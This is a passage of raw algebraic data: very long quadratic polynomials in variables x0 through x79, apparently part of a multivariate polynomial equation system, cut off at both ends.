x4*x49 + x4*x50 + x4*x51 + x4*x54 + x4*x56 + x4*x57 + x4*x58 + x4*x62 + x4*x64 + x4*x66 + x4*x69 + x4*x70 + x4*x71 + x4*x73 + x4*x76 + x4*x78 + x4*x79 + x5*x7 + x5*x10 + x5*x11 + x5*x14 + x5*x15 + x5*x16 + x5*x17 + x5*x18 + x5*x19 + x5*x22 + x5*x25 + x5*x26 + x5*x28 + x5*x29 + x5*x33 + x5*x34 + x5*x37 + x5*x39 + x5*x40 + x5*x41 + x5*x43 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x52 + x5*x53 + x5*x56 + x5*x57 + x5*x59 + x5*x61 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x71 + x5*x73 + x5*x74 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x10 + x6*x12 + x6*x16 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x27 + x6*x29 + x6*x30 + x6*x34 + x6*x35 + x6*x44 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x54 + x6*x57 + x6*x59 + x6*x63 + x6*x64 + x6*x65 + x6*x66 + x6*x68 + x6*x76 + x6 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x18 + x7*x19 + x7*x21 + x7*x24 + x7*x25 + x7*x27 + x7*x29 + x7*x30 + x7*x31 + x7*x34 + x7*x35 + x7*x36 + x7*x40 + x7*x41 + x7*x42 + x7*x43 + x7*x46 + x7*x48 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x63 + x7*x65 + x7*x68 + x7*x69 + x7*x72 + x7*x75 + x7*x77 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x22 + x8*x26 + x8*x28 + x8*x30 + x8*x32 + x8*x34 + x8*x36 + x8*x38 + x8*x39 + x8*x41 + x8*x42 + x8*x43 + x8*x47 + x8*x49 + x8*x50 + x8*x52 + x8*x55 + x8*x58 + x8*x59 + x8*x62 + x8*x63 + x8*x65 + x8*x74 + x8*x76 + x8*x77 + x8*x79 + x8 + x9*x10 + x9*x11 + x9*x13 + x9*x14 + x9*x15 + x9*x16 + x9*x17 + x9*x19 + x9*x20 + x9*x21 + x9*x24 + x9*x25 + x9*x26 + x9*x29 + x9*x34 + x9*x36 + x9*x38 + x9*x41 + x9*x43 + x9*x46 + x9*x47 + x9*x50 + x9*x52 + x9*x54 + x9*x55 + x9*x58 + x9*x59 + x9*x64 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x71 + x9*x72 + x9*x75 + x9*x77 + x9*x79 + x10*x11 + x10*x12 + x10*x19 + x10*x21 + x10*x22 + x10*x24 + x10*x28 + x10*x29 + x10*x30 + x10*x31 + x10*x34 + x10*x35 + x10*x36 + x10*x40 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x51 + x10*x52 + x10*x54 + x10*x56 + x10*x57 + x10*x59 + x10*x60 + x10*x61 + x10*x64 + x10*x65 + x10*x67 + x10*x69 + x10*x70 + x10*x71 + x10*x73 + x10*x75 + x10*x76 + x10*x77 + x11*x13 + x11*x14 + x11*x15 + x11*x17 + x11*x19 + x11*x23 + x11*x24 + x11*x26 + x11*x28 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x40 + x11*x42 + x11*x43 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x52 + x11*x54 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x60 + x11*x64 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x74 + x11*x75 + x11*x76 + x11*x78 + x11*x79 + x12*x14 + x12*x17 + x12*x20 + x12*x24 + x12*x26 + x12*x27 + x12*x28 + x12*x29 + x12*x34 + x12*x36 + x12*x37 + x12*x38 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x46 + x12*x47 + x12*x48 + x12*x49 + x12*x51 + x12*x53 + x12*x54 + x12*x55 + x12*x56 + x12*x59 + x12*x63 + x12*x66 + x12*x68 + x12*x73 + x12*x74 + x12*x75 + x12*x78 + x13*x15 + x13*x17 + x13*x18 + x13*x21 + x13*x24 + x13*x26 + x13*x28 + x13*x29 + x13*x31 + x13*x34 + x13*x36 + x13*x37 + x13*x39 + x13*x45 + x13*x46 + x13*x47 + x13*x48 + x13*x49 + x13*x51 + x13*x54 + x13*x55 + x13*x56 + x13*x59 + x13*x61 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x70 + x13*x71 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x14*x15 + x14*x16 + x14*x17 + x14*x22 + x14*x24 + x14*x25 + x14*x27 + x14*x29 + x14*x33 + x14*x40 + x14*x41 + x14*x42 + x14*x44 + x14*x46 + x14*x50 + x14*x51 + x14*x53 + x14*x54 + x14*x55 + x14*x60 + x14*x61 + x14*x65 + x14*x66 + x14*x67 + x14*x68 + x14*x70 + x14*x72 + x14*x73 + x14*x74 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x16 + x15*x21 + x15*x23 + x15*x24 + x15*x26 + x15*x27 + x15*x28 + x15*x33 + x15*x35 + x15*x37 + x15*x40 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x49 + x15*x53 + x15*x57 + x15*x58 + x15*x60 + x15*x61 + x15*x65 + x15*x66 + x15*x67 + x15*x70 + x15*x71 + x15*x73 + x15*x74 + x15*x76 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x20 + x16*x24 + x16*x25 + x16*x27 + x16*x33 + x16*x34 + x16*x39 + x16*x42 + x16*x43 + x16*x44 + x16*x46 + x16*x48 + x16*x50 + x16*x52 + x16*x57 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x64 + x16*x65 + x16*x67 + x16*x68 + x16*x69 + x16*x71 + x16*x72 + x16*x74 + x16*x76 + x16*x77 + x16*x78 + x16 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x25 + x17*x27 + x17*x28 + x17*x31 + x17*x32 + x17*x35 + x17*x36 + x17*x41 + x17*x48 + x17*x49 + x17*x53 + x17*x54 + x17*x56 + x17*x58 + x17*x61 + x17*x63 + x17*x64 + x17*x65 + x17*x67 + x17*x68 + x17*x71 + x17*x73 + x17*x79 + x18*x24 + x18*x26 + x18*x29 + x18*x30 + x18*x36 + x18*x38 + x18*x39 + x18*x40 + x18*x45 + x18*x46 + x18*x47 + x18*x50 + x18*x51 + x18*x55 + x18*x57 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x69 + x18*x70 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18*x78 + x19*x27 + x19*x28 + x19*x29 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x41 + x19*x44 + x19*x45 + x19*x47 + x19*x48 + x19*x49 + x19*x50 + x19*x52 + x19*x53 + x19*x54 + x19*x56 + x19*x57 + x19*x60 + x19*x62 + x19*x63 + x19*x64 + x19*x65 + x19*x67 + x19*x70 + x19*x71 + x19*x73 + x19*x74 + x19*x77 + x19*x78 + x19*x79 + x19 + x20*x28 + x20*x29 + x20*x31 + x20*x32 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x45 + x20*x46 + x20*x47 + x20*x48 + x20*x53 + x20*x55 + x20*x57 + x20*x59 + x20*x60 + x20*x61 + x20*x65 + x20*x66 + x20*x68 + x20*x70 + x20*x73 + x20*x75 + x20*x79 + x20 + x21*x25 + x21*x26 + x21*x27 + x21*x29 + x21*x30 + x21*x31 + x21*x33 + x21*x36 + x21*x38 + x21*x43 + x21*x44 + x21*x47 + x21*x49 + x21*x51 + x21*x53 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x62 + x21*x64 + x21*x65 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x77 + x21*x78 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x30 + x22*x31 + x22*x32 + x22*x34 + x22*x35 + x22*x36 + x22*x39 + x22*x40 + x22*x43 + x22*x45 + x22*x46 + x22*x49 + x22*x50 + x22*x51 + x22*x57 + x22*x59 + x22*x62 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x69 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x79 + x23*x27 + x23*x30 + x23*x31 + x23*x32 + x23*x35 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x48 + x23*x49 + x23*x53 + x23*x54 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x64 + x23*x65 + x23*x67 + x23*x68 + x23*x69 + x23*x71 + x23*x73 + x23*x75 + x23*x77 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x27 + x24*x28 + x24*x31 + x24*x32 + x24*x36 + x24*x37 + x24*x39 + x24*x40 + x24*x41 + x24*x44 + x24*x45 + x24*x46 + x24*x49 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x65 + x24*x66 + x24*x67 + x24*x68 + x24*x69 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24*x79 + x25*x32 + x25*x35 + x25*x36 + x25*x37 + x25*x39 + x25*x40 + x25*x41 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x50 + x25*x53 + x25*x58 + x25*x59 + x25*x61 + x25*x64 + x25*x65 + x25*x66 + x25*x67 + x25*x68 + x25*x70 + x25*x72 + x25*x74 + x25*x76 + x25 + x26*x27 + x26*x29 + x26*x31 + x26*x32 + x26*x34 + x26*x35 + x26*x36 + x26*x41 + x26*x42 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x48 + x26*x49 + x26*x50 + x26*x52 + x26*x54 + x26*x55 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x61 + x26*x62 + x26*x64 + x26*x65 + x26*x67 + x26*x68 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x77 + x26*x79 + x26 + x27*x28 + x27*x30 + x27*x34 + x27*x37 + x27*x38 + x27*x39 + x27*x43 + x27*x44 + x27*x45 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x61 + x27*x62 + x27*x63 + x27*x65 + x27*x66 + x27*x68 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x74 + x27*x78 + x28*x29 + x28*x30 + x28*x33 + x28*x35 + x28*x37 + x28*x38 + x28*x40 + x28*x43 + x28*x45 + x28*x48 + x28*x51 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x59 + x28*x60 + x28*x62 + x28*x63 + x28*x64 + x28*x65 + x28*x73 + x28*x75 + x28*x77 + x29*x33 + x29*x36 + x29*x37 + x29*x41 + x29*x42 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x50 + x29*x51 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x60 + x29*x61 + x29*x66 + x29*x67 + x29*x70 + x29*x74 + x29*x77 + x29*x78 + x30*x31 + x30*x33 + x30*x34 + x30*x36 + x30*x39 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x46 + x30*x56 + x30*x58 + x30*x61 + x30*x62 + x30*x63 + x30*x64 + x30*x67 + x30*x68 + x30*x69 + x30*x70 + x30*x75 + x30*x77 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x35 + x31*x36 + x31*x37 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x48 + x31*x49 + x31*x51 + x31*x53 + x31*x55 + x31*x56 + x31*x58 + x31*x59 + x31*x60 + x31*x65 + x31*x67 + x31*x72 + x31*x78 + x31*x79 + x32*x36 + x32*x38 + x32*x39 + x32*x42 + x32*x44 + x32*x45 + x32*x47 + x32*x49 + x32*x53 + x32*x57 + x32*x60 + x32*x61 + x32*x63 + x32*x67 + x32*x69 + x32*x72 + x32*x73 + x32*x75 + x32*x79 + x32 + x33*x34 + x33*x37 + x33*x39 + x33*x42 + x33*x46 + x33*x48 + x33*x49 + x33*x50 + x33*x54 + x33*x55 + x33*x56 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x61 + x33*x63 + x33*x68 + x33*x69 + x33*x70 + x33*x72 + x33*x75 + x33*x79 + x34*x37 + x34*x39 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x57 + x34*x60 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x77 + x34*x78 + x34*x79 + x34 + x35*x37 + x35*x39 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x52 + x35*x54 + x35*x55 + x35*x59 + x35*x60 + x35*x62 + x35*x65 + x35*x66 + x35*x68 + x35*x69 + x35*x70 + x35*x72 + x35*x74 + x35*x75 + x35*x76 + x36*x37 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x50 + x36*x52 + x36*x53 + x36*x54 + x36*x55 + x36*x57 + x36*x60 + x36*x61 + x36*x65 + x36*x67 + x36*x68 + x36*x70 + x36*x73 + x36*x74 + x36*x77 + x36*x78 + x37*x40 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x49 + x37*x50 + x37*x51 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x58 + x37*x59 + x37*x61 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x70 + x37*x71 + x37*x72 + x37*x74 + x37*x75 + x37*x77 + x38*x39 + x38*x43 + x38*x47 + x38*x49 + x38*x51 + x38*x52 + x38*x57 + x38*x59 + x38*x61 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x70 + x38*x71 + x38*x73 + x38*x74 + x38*x75 + x38*x77 + x39*x40 + x39*x41 + x39*x42 + x39*x43 + x39*x44 + x39*x46 + x39*x47 + x39*x49 + x39*x52 + x39*x56 + x39*x57 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x78 + x39 + x40*x43 + x40*x44 + x40*x47 + x40*x49 + x40*x52 + x40*x55 + x40*x60 + x40*x61 + x40*x62 + x40*x69 + x40*x70 + x40*x72 + x40*x74 + x40*x77 + x40*x78 + x40*x79 + x41*x43 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x50 + x41*x51 + x41*x53 + x41*x57 + x41*x61 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x70 + x41*x71 + x41*x74 + x41*x75 + x41*x76 + x41*x78 + x41*x79 + x42*x46 + x42*x49 + x42*x52 + x42*x55 + x42*x57 + x42*x58 + x42*x60 + x42*x62 + x42*x63 + x42*x67 + x42*x68 + x42*x70 + x42*x75 + x42*x76 + x42*x77 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x49 + x43*x50 + x43*x51 + x43*x53 + x43*x55 + x43*x56 + x43*x57 + x43*x61 + x43*x63 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x70 + x43*x75 + x43*x76 + x43*x78 + x43 + x44*x46 + x44*x48 + x44*x53 + x44*x55 + x44*x57 + x44*x62 + x44*x64 + x44*x66 + x44*x67 + x44*x68 + x44*x73 + x44*x75 + x44*x78 + x44 + x45*x47 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x57 + x45*x58 + x45*x61 + x45*x64 + x45*x67 + x45*x69 + x45*x70 + x45*x72 + x45*x73 + x45*x77 + x45*x79 + x45 + x46*x51 + x46*x52 + x46*x53 + x46*x55 + x46*x61 + x46*x64 + x46*x66 + x46*x67 + x46*x68 + x46*x70 + x46*x72 + x46*x73 + x46*x76 + x46*x79 + x47*x48 + x47*x53 + x47*x56 + x47*x57 + x47*x61 + x47*x64 + x47*x65 + x47*x66 + x47*x67 + x47*x68 + x47*x70 + x47*x72 + x47*x73 + x47*x77 + x47*x78 + x47*x79 + x48*x49 + x48*x51 + x48*x52 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x62 + x48*x63 + x48*x64 + x48*x69 + x48*x71 + x48*x72 + x48*x73 + x48*x76 + x48*x78 + x49*x51 + x49*x55 + x49*x56 + x49*x58 + x49*x60 + x49*x61 + x49*x66 + x49*x67 + x49*x69 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x49 + x50*x55 + x50*x56 + x50*x57 + x50*x59 + x50*x62 + x50*x63 + x50*x67 + x50*x68 + x50*x69 + x50*x71 + x50*x74 + x50*x75 + x50*x77 + x50*x79 + x51*x52 + x51*x53 + x51*x56 + x51*x62 + x51*x66 + x51*x67 + x51*x68 + x51*x70 + x51*x71 + x51*x74 + x51*x75 + x51*x78 + x51*x79 + x52*x56 + x52*x57 + x52*x60 + x52*x62 + x52*x64 + x52*x65 + x52*x67 + x52*x70 + x52*x72 + x52*x73 + x52*x75 + x52*x79 + x53*x56 + x53*x57 + x53*x60 + x53*x61 + x53*x62 + x53*x65 + x53*x66 + x53*x67 + x53*x71 + x53*x76 + x53*x79 + x54*x55 + x54*x60 + x54*x64 + x54*x67 + x54*x70 + x54*x71 + x54*x72 + x54*x77 + x54 + x55*x62 + x55*x64 + x55*x67 + x55*x68 + x55*x69 + x55*x71 + x55*x74 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x63 + x56*x64 + x56*x66 + x56*x70 + x56*x74 + x56*x75 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x61 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x69 + x57*x70 + x57*x73 + x57*x74 + x57*x75 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x61 + x58*x63 + x58*x64 + x58*x67 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x58 + x59*x60 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x74 + x59*x75 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x65 + x60*x68 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x75 + x60*x76 + x60*x77 + x60*x78 + x61*x62 + x61*x66 + x61*x67 + x61*x73 + x61*x76 + x61*x77 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x69 + x62*x70 + x62*x74 + x62*x75 + x62*x76 + x62 + x63*x66 + x63*x67 + x63*x70 + x63*x72 + x63*x74 + x63*x79 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x72 + x64*x76 + x64*x77 + x64*x78 + x65*x68 + x65*x69 + x65*x70 + x65*x75 + x65*x76 + x65*x79 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x71 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67*x78 + x67 + x68*x69 + x68*x70 + x68*x71 + x68*x75 + x68*x77 + x68*x79 + x69*x70 + x69*x71 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x70*x71 + x70*x75 + x70*x78 + x70 + x71*x72 + x71*x75 + x71*x77 + x71*x78 + x71 + x72*x73 + x72*x76 + x72*x78 + x72*x79 + x72 + x73*x77 + x73*x79 + x73 + x74*x77 + x74*x78 + x74 + x75*x78 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + x77*x79 + x77 + x78*x79, x0*x2 + x0*x8 + x0*x9 + x0*x10 + x0*x12 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x25 + x0*x26 + x0*x27 + x0*x29 + x0*x31 + x0*x34 + x0*x36 + x0*x38 + x0*x39 + x0*x41 + x0*x43 + x0*x45 + x0*x46 + x0*x50 + x0*x51 + x0*x56 + x0*x57 + x0*x58 + x0*x62 + x0*x63 + x0*x65 + x0*x66 + x0*x67 + x0*x69 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0 + x1*x3 + x1*x6 + x1*x7 + x1*x9 + x1*x10 + x1*x13 + x1*x14 + x1*x17 + x1*x18 + x1*x19 + x1*x23 + x1*x26 + x1*x27 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x35 + x1*x36 + x1*x37 + x1*x38 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x50 + x1*x57 + x1*x58 + x1*x59 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x73 + x1*x75 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x9 + x2*x10 + x2*x11 + x2*x12 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x21 + x2*x23 + x2*x24 + x2*x25 + x2*x27 + x2*x29 + x2*x31 + x2*x33 + x2*x34 + x2*x35 + x2*x39 + x2*x42 + x2*x43 + x2*x47 + x2*x49 + x2*x50 + x2*x52 + x2*x53 + x2*x54 + x2*x57 + x2*x58 + x2*x60 + x2*x62 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x79 + x3*x5 + x3*x6 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x12 + x3*x15 + x3*x16 + x3*x18 + x3*x20 + x3*x21 + x3*x24 + x3*x26 + x3*x32 + x3*x33 + x3*x36 + x3*x39 + x3*x45 + x3*x46 + x3*x48 + x3*x50 + x3*x53 + x3*x54 + x3*x57 + x3*x58 + x3*x59 + x3*x60 + x3*x61 + x3*x62 + x3*x63 + x3*x64 + x3*x65 + x3*x66 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x78 + x4*x10 + x4*x12 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x26 + x4*x27 + x4*x31 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x41 + x4*x42 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x52 + x4*x54 + x4*x56 + x4*x60 + x4*x61 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x67 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x77 + x4*x78 + x4*x79 + x4 + x5*x6 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x18 + x5*x19 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x31 + x5*x32 + x5*x33 + x5*x34 + x5*x35 + x5*x39 + x5*x40 + x5*x41 + x5*x42 + x5*x45 + x5*x47 + x5*x50 + x5*x53 + x5*x55 + x5*x57 + x5*x60 + x5*x64 + x5*x70 + x5*x73 + x5 + x6*x7 + x6*x13 + x6*x14 + x6*x16 + x6*x17 + x6*x19 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x38 + x6*x39 + x6*x40 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x54 + x6*x56 + x6*x58 + x6*x59 + x6*x63 + x6*x64 + x6*x65 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x74 + x6*x75 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x16 + x7*x20 + x7*x24 + x7*x26 + x7*x28 + x7*x30 + x7*x31 + x7*x34 + x7*x39 + x7*x40 + x7*x43 + x7*x48 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x60 + x7*x62 + x7*x63 + x7*x64 + x7*x65 + x7*x66 + x7*x71 + x7*x74 + x7*x75 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x13 + x8*x16 + x8*x17 + x8*x20 + x8*x22 + x8*x23 + x8*x26 + x8*x29 + x8*x30 + x8*x32 + x8*x35 + x8*x36 + x8*x37 + x8*x38 + x8*x39 + x8*x41 + x8*x42 + x8*x43 + x8*x44 + x8*x46 + x8*x49 + x8*x51 + x8*x54 + x8*x57 + x8*x59 + x8*x62 + x8*x65 + x8*x66 + x8*x67 + x8*x70 + x8*x75 + x8*x78 + x8 + x9*x10 + x9*x12 + x9*x13 + x9*x16 + x9*x20 + x9*x21 + x9*x23 + x9*x24 + x9*x26 + x9*x27 + x9*x32 + x9*x33 + x9*x34 + x9*x41 + x9*x43 + x9*x45 + x9*x47 + x9*x53 + x9*x54 + x9*x58 + x9*x59 + x9*x60 + x9*x62 + x9*x63 + x9*x65 + x9*x66 + x9*x67 + x9*x69 + x9*x72 + x9*x73 + x9*x75 + x9*x79 + x10*x13 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x27 + x10*x30 + x10*x31 + x10*x33 + x10*x34 + x10*x39 + x10*x44 + x10*x48 + x10*x49 + x10*x50 + x10*x51 + x10*x53 + x10*x54 + x10*x57 + x10*x59 + x10*x64 + x10*x65 + x10*x66 + x10*x68 + x10*x70 + x10*x73 + x10*x75 + x10*x76 + x10*x78 + x10*x79 + x11*x15 + x11*x16 + x11*x18 + x11*x20 + x11*x21 + x11*x23 + x11*x24 + x11*x25 + x11*x27 + x11*x30 + x11*x32 + x11*x38 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x46 + x11*x47 + x11*x48 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x56 + x11*x57 + x11*x58 + x11*x59 + x11*x60 + x11*x63 + x11*x64 + x11*x66 + x11*x67 + x11*x69 + x11*x70 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x11*x79 + x12*x13 + x12*x15 + x12*x17 + x12*x18 + x12*x20 + x12*x22 + x12*x23 + x12*x27 + x12*x28 + x12*x30 + x12*x31 + x12*x35 + x12*x38 + x12*x39 + x12*x41 + x12*x44 + x12*x47 + x12*x48 + x12*x50 + x12*x52 + x12*x53 + x12*x54 + x12*x55 + x12*x58 + x12*x60 + x12*x61 + x12*x64 + x12*x68 + x12*x70 + x12*x73 + x12*x74 + x12*x77 + x12*x79 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x24 + x13*x27 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x36 + x13*x38 + x13*x39 + x13*x43 + x13*x48 + x13*x49 + x13*x53 + x13*x55 + x13*x56 + x13*x57 + x13*x60 + x13*x61 + x13*x62 + x13*x65 + x13*x67 + x13*x73 + x13*x74 + x13*x76 + x13*x77 + x13*x78 + x13*x79 + x14*x21 + x14*x22 + x14*x23 + x14*x24 + x14*x26 + x14*x29 + x14*x32 + x14*x33 + x14*x35 + x14*x36 + x14*x37 + x14*x41 + x14*x45 + x14*x46 + x14*x47 + x14*x48 + x14*x50 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x61 + x14*x62 + x14*x64 + x14*x67 + x14*x68 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x16 + x15*x18 + x15*x21 + x15*x27 + x15*x31 + x15*x32 + x15*x34 + x15*x35 + x15*x36 + x15*x38 + x15*x40 + x15*x41 + x15*x42 + x15*x43 + x15*x44 + x15*x49 + x15*x52 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x65 + x15*x67 + x15*x68 + x15*x69 + x15*x70 + x15*x71 + x15*x79 + x16*x17 + x16*x18 + x16*x21 + x16*x22 + x16*x23 + x16*x28 + x16*x29 + x16*x32 + x16*x34 + x16*x35 + x16*x37 + x16*x38 + x16*x39 + x16*x42 + x16*x44 + x16*x45 + x16*x47 + x16*x49 + x16*x51 + x16*x53 + x16*x58 + x16*x60 + x16*x63 + x16*x69 + x16*x72 + x16*x73 + x16*x74 + x16*x77 + x16*x78 + x16*x79 + x17*x20 + x17*x23 + x17*x24 + x17*x32 + x17*x34 + x17*x37 + x17*x39 + x17*x41 + x17*x42 + x17*x49 + x17*x50 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x57 + x17*x58 + x17*x61 + x17*x62 + x17*x65 + x17*x69 + x17*x70 + x17*x73 + x17*x74 + x17*x75 + x17*x76 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x25 + x18*x26 + x18*x27 + x18*x29 + x18*x31 + x18*x32 + x18*x34 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x45 + x18*x46 + x18*x48 + x18*x50 + x18*x51 + x18*x52 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x59 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + 